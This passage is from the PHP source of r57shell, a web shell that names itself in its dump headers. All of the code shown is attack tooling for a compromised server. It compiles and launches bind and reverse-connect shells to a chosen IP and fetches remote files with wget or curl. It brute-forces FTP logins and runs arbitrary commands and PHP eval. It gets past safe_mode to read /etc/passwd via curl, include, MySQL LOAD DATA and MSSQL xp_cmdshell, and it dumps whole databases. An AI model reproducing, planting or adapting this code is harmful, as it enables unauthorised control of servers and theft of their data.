  1615.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1616.  echo "<input type=hidden name=dir value=".$dir.">";
  1617.  echo "<input type=hidden name=cmd value=save_file>";
  1618.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1619.  echo "</div>";
  1620.  echo "</font>";
  1621.  echo "</form>";
  1622.  echo "</td></tr></table>";
  1623.  exit();
  1624.  }
  1625.  }
  1626. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  1627.  {
  1628.  if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
  1629.  else {
  1630.  @fwrite($file,$_POST['e_text']);
  1631.  @fclose($file);
  1632.  $_POST['cmd']="";
  1633.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  1634.  }
  1635.  }
  1636. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  1637. {
  1638.  cf("/tmp/bd.c",$port_bind_bd_c);
  1639.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  1640.  @unlink("/tmp/bd.c");
  1641.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  1642.  $_POST['cmd']="ps -aux | grep bd";
  1643. }
  1644. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  1645. {
  1646.  cf("/tmp/bdpl",$port_bind_bd_pl);
  1647.  $p2=which("perl");
  1648.  if(empty($p2)) $p2="perl";
  1649.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  1650.  $_POST['cmd']="ps -aux | grep bdpl";
  1651. }
  1652. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  1653. {
  1654.  cf("/tmp/back",$back_connect);
  1655.  $p2=which("perl");
  1656.  if(empty($p2)) $p2="perl";
  1657.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  1658.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1659. }
  1660. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  1661. {
  1662.  cf("/tmp/back.c",$back_connect_c);
  1663.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  1664.  @unlink("/tmp/back.c");
  1665.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  1666.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1667. }
  1668. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  1669. {
  1670.  cf("/tmp/dp",$datapipe_pl);
  1671.  $p2=which("perl");
  1672.  if(empty($p2)) $p2="perl";
  1673.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  1674.  $_POST['cmd']="ps -aux | grep dp";
  1675. }
  1676. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  1677. {
  1678.  cf("/tmp/dpc.c",$datapipe_c);
  1679.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  1680.  @unlink("/tmp/dpc.c");
  1681.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  1682.  $_POST['cmd']="ps -aux | grep dpc";
  1683. }
  1684. if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
  1685. if (!empty($HTTP_POST_FILES['userfile']['name']))
  1686. {
  1687. if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  1688. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  1689. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  1690.             $_POST['dir']."/".$nfn)
  1691.       or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  1692. }
  1693. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  1694. {
  1695.  switch($_POST['with'])
  1696.  {
  1697.  case wget:
  1698.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  1699.  break;
  1700.  case fetch:
  1701.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  1702.  break;
  1703.  case lynx:
  1704.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1705.  break;
  1706.  case links:
  1707.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1708.  break;
  1709.  case GET:
  1710.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1711.  break;
  1712.  case curl:
  1713.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  1714.  break;
  1715.  }
  1716. }
  1717. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  1718.  {
  1719.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1720.  if(empty($ftp_port)) { $ftp_port = 21; }
  1721.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1722.  if(!$connection) { fe($language,0); }
  1723.  else
  1724.   {    
  1725.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); }
  1726.   else
  1727.    {   
  1728.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);      }
  1729.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);     }
  1730.    }
  1731.   }
  1732.  @ftp_close($connection);
  1733.  $_POST['cmd'] = "";
  1734.  }
  1735. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  1736.  {
  1737.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1738.  if(empty($ftp_port)) { $ftp_port = 21; }
  1739.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1740.  if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }     
  1741.  else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  1742.  @ftp_close($connection);
  1743.  }
  1744. echo $table_up3;
  1745. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
  1746. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  1747. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  1748. if($safe_mode)
  1749. {
  1750.  switch($_POST['cmd'])
  1751.  {
  1752.  case 'safe_dir':
  1753.   $d=@dir($dir);
  1754.   if ($d)
  1755.    {
  1756.    while (false!==($file=$d->read()))
  1757.     {
  1758.      if ($file=="." || $file=="..") continue;
  1759.      @clearstatcache();
  1760.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  1761.      if($windows){
  1762.      echo date("d.m.Y H:i",$mtime);
  1763.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  1764.      }
  1765.      else{
  1766.      $owner = @posix_getpwuid($uid);
  1767.      $grgid = @posix_getgrgid($gid);
  1768.      echo $inode." ";
  1769.      echo perms(@fileperms($file));
  1770.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  1771.      echo date("d.m.Y H:i ",$mtime);
  1772.      }
  1773.      echo "$file\n";
  1774.     }
  1775.    $d->close();
  1776.    }
  1777.   else echo $lang[$language._text29];
  1778.  break;
  1779.  case 'safe_file':
  1780.   if(@is_file($_POST['file']))
  1781.    {
  1782.    $file = @file($_POST['file']);
  1783.    if($file)
  1784.     {
  1785.     $c = @sizeof($file);
  1786.     for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
  1787.     }
  1788.    else echo $lang[$language._text29];
  1789.    }
  1790.   else echo $lang[$language._text31];
  1791.   break;
  1792.   case 'test1':
  1793.   $ci = @curl_init("file://".$_POST['test1_file']."");
  1794.   $cf = @curl_exec($ci);
  1795.   echo $cf;
  1796.   break;
  1797.   case 'test2':
  1798.   @include($_POST['test2_file']);
  1799.   break;
  1800.   case 'test3':
  1801.   if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  1802.   $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  1803.   if($db)
  1804.    {
  1805.    if(@mysql_select_db($_POST['test3_md'],$db))
  1806.     {
  1807.      $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1808.      @mysql_query($sql);
  1809.      $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
  1810.      @mysql_query($sql);
  1811.      $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
  1812.      @mysql_query($sql);
  1813.      $sql = "SELECT * FROM temp_r57_table;";
  1814.      $r = @mysql_query($sql);
  1815.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  1816.      $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1817.      @mysql_query($sql);
  1818.     }
  1819.     else echo "[-] ERROR! Can't select database";
  1820.    @mysql_close($db);
  1821.    }
  1822.   else echo "[-] ERROR! Can't connect to mysql server";
  1823.   break;
  1824.   case 'test4':
  1825.   if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  1826.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  1827.   if($db)
  1828.    {
  1829.    if(@mssql_select_db($_POST['test4_md'],$db))
  1830.     {
  1831.      @mssql_query("drop table r57_temp_table",$db);
  1832.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  1833.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  1834.      $res = mssql_query("select * from r57_temp_table",$db);
  1835.      while(($row=@mssql_fetch_row($res)))
  1836.       {
  1837.       echo $row[0]."\r\n";
  1838.       }
  1839.     @mssql_query("drop table r57_temp_table",$db);
  1840.     }
  1841.     else echo "[-] ERROR! Can't select database";
  1842.    @mssql_close($db);
  1843.    }
  1844.   else echo "[-] ERROR! Can't connect to MSSQL server";
  1845.   break;
  1846.  }
  1847. }
  1848. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  1849.  $cmd_rep = ex($_POST['cmd']);
  1850.  if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  1851.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  1852. if ($_POST['cmd']=="ftp_brute")
  1853.  {
  1854.  $suc = 0;
  1855.  foreach($users as $user)
  1856.   {    
  1857.   $connection = @ftp_connect($ftp_server,$ftp_port,10);
  1858.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  1859.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  1860.   @ftp_close($connection);
  1861.   }
  1862.  echo "\r\n-------------------------------------\r\n";
  1863.  $count = count($users);
  1864.  if(isset($_POST['reverse'])) { $count *= 2; }
  1865.  echo $lang[$language.'_text97'].$count."\r\n";
  1866.  echo $lang[$language.'_text98'].$suc."\r\n";
  1867.  }
  1868. if ($_POST['cmd']=="php_eval"){
  1869.  $eval = @str_replace("<?","",$_POST['php_eval']);
  1870.  $eval = @str_replace("?>","",$eval);
  1871.  @eval($eval);}
  1872. if ($_POST['cmd']=="db_show")
  1873.  {
  1874.  switch($_POST['db'])
  1875.  {
  1876.  case 'MySQL':
  1877.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1878.  $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1879.  if($db)
  1880.    {
  1881.    $res=@mysql_query("SHOW DATABASES", $db);
  1882.    while(($row=@mysql_fetch_row($res)))
  1883.     {
  1884.      echo "[+] ".$row[0]."\r\n";
  1885.      if(isset($_POST['st'])){
  1886.      $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
  1887.      while(($row2=@mysql_fetch_row($res2)))
  1888.       {
  1889.       echo " | - ".$row2[0]."\r\n";
  1890.       if(isset($_POST['sc']))
  1891.        {
  1892.        $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
  1893.        while(($row3=@mysql_fetch_row($res3))) { echo "   | - ".$row3[0]."\r\n"; }
  1894.        }
  1895.       }
  1896.      }
  1897.     }
  1898.    @mysql_close($db);
  1899.    }
  1900.  else echo "[-] ERROR! Can't connect to MySQL server";         
  1901.  break;
  1902.  case 'MSSQL':
  1903.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  1904.  $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1905.  if($db)
  1906.    {
  1907.    $res=@mssql_query("sp_databases", $db);
  1908.    while(($row=@mssql_fetch_row($res)))
  1909.     {
  1910.      echo "[+] ".$row[0]."\r\n";
  1911.      if(isset($_POST['st'])){
  1912.      @mssql_select_db($row[0]);
  1913.      $res2 = @mssql_query("sp_tables",$db);
  1914.      while(($row2=@mssql_fetch_array($res2)))
  1915.       {
  1916.       if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
  1917.       {
  1918.       echo " | - ".$row2['TABLE_NAME']."\r\n";
  1919.       if(isset($_POST['sc']))
  1920.        {
  1921.        $res3 = @mssql_query("sp_columns ".$row2[2],$db);
  1922.        while(($row3=@mssql_fetch_array($res3))) { echo "   | - ".$row3['COLUMN_NAME']."\r\n"; }
  1923.        }
  1924.       }
  1925.       }
  1926.      }
  1927.     }
  1928.    @mssql_close($db);
  1929.    }
  1930.  else echo "[-] ERROR! Can't connect to MSSQL server";
  1931.  break;
  1932.  case 'PostgreSQL':
  1933.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  1934.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  1935.   $db = @pg_connect($str);
  1936.   if($db)
  1937.   {
  1938.   $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
  1939.    while(($row=@pg_fetch_row($res)))
  1940.     {
  1941.      echo "[+] ".$row[0]."\r\n";
  1942.     }  
  1943.   @pg_close($db);
  1944.   }
  1945.  else echo "[-] ERROR! Can't connect to PostgreSQL server";    
  1946.  break;
  1947.  }
  1948.  }
  1949. if ($_POST['cmd']=="mysql_dump")
  1950.  {
  1951.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  1952.   if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
  1953.   $sqh  = "# homepage: http://rst.void.ru\r\n";
  1954.   $sqh .= "# ---------------------------------\r\n";
  1955.   $sqh .= "#     date : ".date ("j F Y g:i")."\r\n";
  1956.   $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
  1957.   $sqh .= "#    table : ".$_POST['mysql_tbl']."\r\n";
  1958.   $sqh .= "# ---------------------------------\r\n\r\n";
  1959.   switch($_POST['db']){
  1960.   case 'MySQL':
  1961.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1962.   $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1963.   if($db)
  1964.    {
  1965.    if(@mysql_select_db($_POST['mysql_db'],$db))
  1966.     {
  1967.      $sql1  = "# MySQL dump created by r57shell\r\n";
  1968.      $sql1 .= $sqh;
  1969.      $res   = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
  1970.      $row   = @mysql_fetch_row($res);
  1971.      $sql1 .= $row[1]."\r\n\r\n";
  1972.      $sql1 .= "# ---------------------------------\r\n\r\n";
  1973.      $sql2 = '';
  1974.      $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
  1975.      if (@mysql_num_rows($res) > 0) {
  1976.      while (($row = @mysql_fetch_assoc($res))) {
  1977.      $keys = @implode("`, `", @array_keys($row));
  1978.      $values = @array_values($row);
  1979.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1980.      $values = @implode("', '", $values);
  1981.      $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
  1982.      }
  1983.      $sql2 .= "\r\n# ---------------------------------";
  1984.      }
  1985.     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  1986.     else { echo $sql1.$sql2; }
  1987.     }
  1988.     else echo "[-] ERROR! Can't select database";
  1989.    @mysql_close($db);
  1990.    }
  1991.   else echo "[-] ERROR! Can't connect to MySQL server";
  1992.   break;
  1993.   case 'MSSQL':
  1994.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  1995.   $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1996.   if($db)
  1997.   {
  1998.    if(@mssql_select_db($_POST['mysql_db'],$db))
  1999.     {
  2000.      $sql1  = "# MSSQL dump created by r57shell\r\n";
  2001.      $sql1 .= $sqh;
  2002.      $sql2 = '';
  2003.      $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
  2004.      if (@mssql_num_rows($res) > 0) {
  2005.      while (($row = @mssql_fetch_assoc($res))) {
  2006.      $keys = @implode(", ", @array_keys($row));
  2007.      $values = @array_values($row);
  2008.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2009.      $values = @implode("', '", $values);
  2010.      $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2011.      }
  2012.      $sql2 .= "\r\n# ---------------------------------";
  2013.      }
  2014.      if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2015.      else { echo $sql1.$sql2; }
  2016.     }
  2017.    else echo "[-] ERROR! Can't select database";
  2018.    @mssql_close($db);  
  2019.   }    
  2020.   else echo "[-] ERROR! Can't connect to MSSQL server";
  2021.   break;
  2022.   case 'PostgreSQL':
  2023.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  2024.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  2025.   $db = @pg_connect($str);
  2026.   if($db)
  2027.   {
  2028.      $sql1  = "# PostgreSQL dump created by r57shell\r\n";
  2029.      $sql1 .= $sqh;
  2030.      $sql2 = '';
  2031.      $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
  2032.      if (@pg_num_rows($res) > 0) {
  2033.      while (($row = @pg_fetch_assoc($res))) {
  2034.      $keys = @implode(", ", @array_keys($row));
  2035.      $values = @array_values($row);
  2036.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2037.      $values = @implode("', '", $values);
  2038.      $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2039.      }
  2040.      $sql2 .= "\r\n# ---------------------------------";
  2041.      }
  2042.      if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2043.      else { echo $sql1.$sql2; }
  2044.    @pg_close($db);      
  2045.   }    
  2046.   else echo "[-] ERROR! Can't connect to PostgreSQL server";
  2047.   break;
  2048.   }
  2049.  }
  2050.  else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
  2051.  }
  2052. echo "</textarea></div>";
  2053. echo "</b>";
  2054. echo "</td></tr></table>";
  2055. echo "<table width=100% cellpadding=0 cellspacing=0>";
  2056. function up_down($id)
  2057.  {
  2058.  global $lang;
  2059.  global $language;
  2060.  return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">';    
  2061.  }
  2062. function div($id)
  2063.  {
  2064.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';      
  2065.  return '<div id="'.$id.'">';
  2066.  }
  2067. if(!$safe_mode){
  2068. echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;
  2069. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  2070. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2071. echo $te.'</div>'.$table_end1.$fe;
  2072. }
  2073. else{
  2074. echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts;
  2075. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  2076. echo $te.'</div>'.$table_end1.$fe;
  2077. }
  2078. echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts;
  2079. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  2080. echo $te.'</div>'.$table_end1.$fe;
  2081. if($safe_mode){
  2082. echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;
  2083. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  2084. echo $te.'</div>'.$table_end1.$fe;
  2085. }
  2086. if($safe_mode && $unix){
  2087. echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;
  2088. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2089. echo $te.'</div>'.$table_end1.$fe;
  2090. }
  2091. if(!$safe_mode){
  2092. foreach ($aliases as $alias_name=>$alias_cmd)
  2093.  {
  2094.  $aliases2 .= "<option>$alias_name</option>";
  2095.  }
  2096. echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts;
  2097. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2098. echo $te.'</div>'.$table_end1.$fe;
  2099. }
  2100. echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;
  2101. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2102. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2103. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  2104. echo $te.'</div>'.$table_end1.$fe;
  2105. if(!$safe_mode && $unix){
  2106. echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts;
  2107. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2108. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2109. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  2110. echo $te.'</div>'.$table_end1.$fe;
  2111. }
  2112. echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font;
  2113. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  2114. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
  2115. echo "</textarea>";
  2116. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  2117. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  2118. echo "</div></div></font>";
  2119. echo $table_end1.$fe;
  2120. if($safe_mode&&$curl_on)
  2121. {
  2122. echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts;
  2123. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2124. echo $te.'</div>'.$table_end1.$fe;
  2125. }
  2126. if($safe_mode)
  2127. {
  2128. echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts;
  2129. echo "<table class=table1 width=100% align=center>";
  2130. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2131. echo $te.'</div>'.$table_end1.$fe;
  2132. }
  2133. if($safe_mode&&$mysql_on)
  2134. {
  2135. echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts;
  2136. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  2137. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2138. echo $te.'</div>'.$table_end1.$fe;
  2139. }
  2140. if($safe_mode&&$mssql_on)
  2141. {
  2142. echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts;
